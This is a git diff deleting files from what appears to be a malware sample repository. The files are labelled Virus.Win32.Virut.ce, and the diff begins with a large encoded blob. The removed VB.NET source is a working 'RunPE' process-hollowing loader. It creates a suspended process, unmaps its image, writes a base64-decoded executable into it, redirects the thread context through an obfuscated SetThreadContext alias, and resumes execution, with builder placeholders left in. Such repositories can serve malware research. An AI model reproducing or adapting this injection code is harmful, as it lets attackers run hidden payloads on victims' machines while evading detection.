y9ow5aWF9v6z4+jGwbWCjLyuhO3G/eT41ZXp5Oky5JzVwu7j/tbm2sLY5Kqt4uT8p+U1xrGV+PzX0twB6ITo1ObH/MCgsYvBCfP3w9P+49zK287ez+H089j+y+Lt39LjqMHdsqmSj4f85YCa3SHirqvb092twMGH0erH+rSDgfHM0sD0soDwhbWU7h7v6+XF8eAh37idoPzx/uWqy4KhnabKwAPu66OM9P34lJC26C8WtY/Y+OCH4+kq47Pek43N8tvd3OL+lfCsvNUC8ZruwN6uhv4RK/Pe5tYzAtjv+dHj9Cba7d/1icLu1NCh5ufYyNT1zgvdgIP+/dDYyPLM9r7fz8mosuM83LTFAfDlhswV+8nb7NDCy+Xhhbbq0u/lFfvcw6bq0dDepobTxc3E+IvpzqmR683B5t6Q1cvlxfmHhorT7P/s0d7t2dfIiaWOyeDVxMbEOhs13+vct97UgpvM9rbt1tfv9P7B/Pjlk6PS34LI6u+fmNTuxdrB5ujL58/jICjA29nF/erU/++M3eLi99Ti3+3z+tyJ1eTqh97w/dHd6/ve2NoOP8njCx8bCd+jzuXC8OL8uozl+8L7//36yM+1wMrc//zR2u+Xj/HB7OXf7ciF3Anr19nAxo2H597+v8Hc8J3D3JTH5uyJjNzdg8HfzfHu4Nr7/drz4p3d0/6+6NM0Oeb1MODCl+3l3suuv7P46OP8q6m6598/O+fMi97szPj/+8+pmekL1ecb9oK/7dLG1f/wwPXk7qPmEeHk3eLD0NLyz5qs1QsiwPna/sPR76f49/rR5uT7j9Md4/vA4MOH8P/56sPu0uH80OLn39X+xdrLtYTv+ZWZgczJjNLhwP2Mx+qB3AzT/Zmlqubf1THZ7+PLndX53+vy/vzyusmwiM3i0YSi08GAj/Hw+7/k/puU9uPR6c2Cp62D3c7e5MGBgf/z08TGzcvY/tells3D2tThyP/88NLo2Bzu/qfM+pmuq9z0spbLJsXy7YKs2sPEJO7jNyX7ndouFrSpkczA8OPs8zsQANzw/fe7gNrPzuviw7rV6ODN8/f409fbsvyD8vrW4fspLdvo7OGVwe/j8/rWwpuby+H4/NK35t/E+YWU1xkeGhb/78Py+d7JvLX4yfvsiqHf+urX/cSAttA5NScx0YPv5+qC3/H4+7j4/t7P8O6IpNrvhtj69diy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6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+z+xf312/H9+eTQ+PTXx8fp9MD49NfHx+n0wNPbw9PDGQXB+fXXx8fp9MD49NfHx+n0wPj00TLD+OTX3d7Tw8Pp9MD49NfHx+n0wPj018fH++fF/fXF5ef55ND49NfHx+n0wPj018fH6fTB/P/D08MTD8H59dfHx+n0wPj018fH6fTA+PTTOM/45NcOA9PDw+n0wPj018fH6fTA+PTXx8fzuf/99cSCjfnk0Pj018fH6fTA+PTXx8fp9MHVxMPTw+jyxf3118fH6fTA+PTXx8fp9MD49NzU3vjk0PTkw9PD6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTBAAvD08PBp+/99dfHx+n0xt7Qw9PD6fTA+PTZ9/z45ND49NfHx9+t7/3118fH6fTGDQ/D08Pp9MD49Nvx/Pjk0Pj018fHGe/v/fXXx8fp9MfR2sPTw+n0wPj03NzX6fzI+PTXx8f/9cTT0eqE5vGxgcSxwviA5fDJ8e2U9NLP0eO8s+z6gL7VwfDswvWgrMDc2rv8+/3+3Obf3tc+2srP/b+j9sbTzO7Z2dfN1IOuz/2/o/bG08zu/6rf8t3J/c/9v6P2xt3A88TT1pKG+6TX/ZHC0u/r9cmVwdf94oOk1/2RwtLv/crP5six49vlpt/8wvTT+Kukxuvl2O3khrnH4AXw99fH+PLK/PPI14Wk/zTLs/fX86TgwvT00tXzrfw8u6PAxP/U88rxANfHx/jv37O75+/71eHQ9PTd5Ja4x+7s9NLR+KLHjZGz/4WRrvrL/Pz638Pp9MHs0c3S+6Xf3/z8+oyluszY/PTS3Y2s3+TCve2H6en0wfbahYX7pKbg26b8O/W6x84N9dfHx+nk0PT418fH0LiByvTXx8fp9MHiycHh+BAM+bbcl5eQ2/TA+PTS9vL1z/u8teiDj7ingvn85Yr/z9/9lLmF/MvNxODFueSLtKzA3Nq7/Pv9/LWbn6v52/uh0d2p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6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6d7q//PXx8fh/MD43v0wMOn0wA8D18HB6fTA+PTXx8fp9MD49NfHx+n0wPn118PD6fTB6eTXwcHp9MD49NfHx+n0wPj018fH6fTA+fXd7+Hp9MHLxtfBwen0wPj018fH6fTA+PTXx8fp9MD59dfHx+n0xv7018fH6fTA+PTXx8fp9MD49NfHx+n0wPn118fH6fTG7uTXx8fbzsj49MXz7+/0wPj018fH6fTA+PTf9+ju9MDs4NfHx+n0wPj018fH6fTAysbXx8fh/MD49NPDx+n0wPn119fX6fTA+PTfz8Hv9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx8PewPje/cfH6fzO/vTfz8fp9Mb+9N/Px8PGyPj029TA087G/t7lz8fp9McJBtfANhv0wPgGCyI8G9D6+PTEzTwb0PkJKPP9xxsoHCQG18fH6fTA+PTXx8fp9MD49NfHx+n0wPPawtLS/OHV7eHC0tL84dXt4cLSntLP+vj018fH6fTA+PTXx8fp9MD40vHh7sfh1e3hwtLS/OHV7eHC0tL93cvz/Oyb9efy6sr60e315/Lqyvrez/zSz57PwMwpLf7vLhLjzCkt/u83w6zx4e7hAN/IxOf399nE8MjE5/bb/N3L8/wjGj4UKBwkKAsbGzUoHBnh/s/80s+Y0cTL2PfZxPDIxOf39x8N+qWs8eHu2egdAQkLGxs1KBwkLC79mrHdy/P87Jnw0ejb18bJ3Ojb4dvkKSbP/NLPns/MyygtNSgcJCgL3Ns0BcjDrPHh7uEAHQHMyNLS/OHb4ygu/9v83cvz/CMaPtHrLhIoCxsnNQ345OH+z/zSz5jRxMsaPt3v1e0aPdDfNA36pazx4e7Z6B0BwMwpLQMe1+ApLv2asd3L8/zsmfDR6C8S48DQ3Ace2+QpJs/80s+ez8zLKC3+79XtGj3c2zQFyMOs8eHu4QAdAczIJxs1KNfjKC7/2/zdy/P8Ixo+0esuFuHC0tI1Dfjk4f7P/NLPmNHEyxo+FCgcJCgL0N80DfqlrPHh7tnoHQHD+PXZ8tvy5iku/Zqx3cvz/OyZ8NHvHCQoCxsbNSjb5Ckmz/zSz57PzMvY99nE8MjE5/f3HwXIw6zx4e7hACEkKAsbGzUoHCQoC9zb/N3L8/wjGjHZxPDIxOf399nE8Mja/s/80s+Y0fc90NwHHtfjGj3Q3Ace1aWs8eHuxMbO/t7lycHDxs7+3uXJwc/dy/P8INLS/OHV7eHC0tL84dXt4cIw/NLP+vj018fH6fTA+PTXx8fp9MD40vHg0vzh1e3hwtLS/OHV7eHC0tL84Tb49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfDw+nk0NLG3sbH6eTQ/PDF8+/v9MD59dfHx+n0PABv - - - Imports System -Imports System.Runtime.InteropServices -Imports System.Text - -Namespace Inject -Public Class RunPE -<DllImport("kernel32")> _ - Private Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, _ - ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean - End Function - <DllImport("kernel32")> _ - Private Shared Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean - End Function - <DllImport("ntdll")> _ - Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger - End Function - <DllImport("kernel32")> _ - Private Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean - End Function - <DllImport("kernel32.dll")> _ - Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger - End Function - Declare Function usegfsuiefgseuf Lib "kernel32" Alias "SetThreadContext" (ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean - <DllImport("kernel32")> _ - Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr - End Function - <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _ - Private Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean - End Function - <DllImport("kernel32.dll", SetLastError:=True)> _ - Private Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean - End Function - - Public Shared Function InjectPE() As Boolean - Try - Dim procAttr As IntPtr = IntPtr.Zero - Dim processInfo As IntPtr() = New IntPtr(3) {} - Dim startupInfo As Byte() = New Byte(67) {} - - Dim bytes() As Byte = Convert.FromBase64String(%%40%%) - - Dim num2 As Integer = BitConverter.ToInt32(bytes, 60) - Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6) - Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54)) - - If CreateProcess(Nothing, New StringBuilder("%%42%%"), procAttr, procAttr, False, 4, _ - procAttr, Nothing, startupInfo, processInfo) Then - Dim ctxt As UInteger() = New UInteger(178) {} - ctxt(0) = &H10002 - If GetThreadContext(processInfo(1), ctxt) Then - Dim baseAddr As New IntPtr(ctxt(&H29) + 8L) - - Dim buffer__1 As IntPtr = IntPtr.Zero - Dim bufferSize As New IntPtr(4) - - Dim numRead As IntPtr = IntPtr.Zero - - If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then - Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34)) - Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80)) - Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40) - - Dim lpNumberOfBytesWritten As Integer - - WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten) - Dim num5 As Integer = num - 1 - For i As Integer = 0 To num5 - Dim dst As Integer() = New Integer(9) {} - Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40) - Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {} - Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length) - addr = New IntPtr(buffer2.Length) - size = New IntPtr(lpBaseAddress.ToInt32() + dst(3)) - WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten) - Next - size = New IntPtr(ctxt(&H29) + 8L) - addr = New IntPtr(4) - - WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten) - ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)) - usegfsuiefgseuf(processInfo(1), ctxt) - End If - End If - ResumeThread(processInfo(1)) - End If - Catch - Return False - End Try - Return True - End Function -End Class -End Namespace - - - %STR%vBzvUEEk%0%0%0%0%Critical%%%0%0% - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index 2f2e12ad..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {11B77748-979C-4C0E-A146-0C7D473A3948} - WinExe - 3 - 830.23.182.254 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.sln deleted file mode 100644 index e76de7e2..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "3", "Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.csproj", "{11B77748-979C-4C0E-A146-0C7D473A3948}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {11B77748-979C-4C0E-A146-0C7D473A3948}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {11B77748-979C-4C0E-A146-0C7D473A3948}.Debug|Any CPU.Build.0 = Debug|Any CPU - 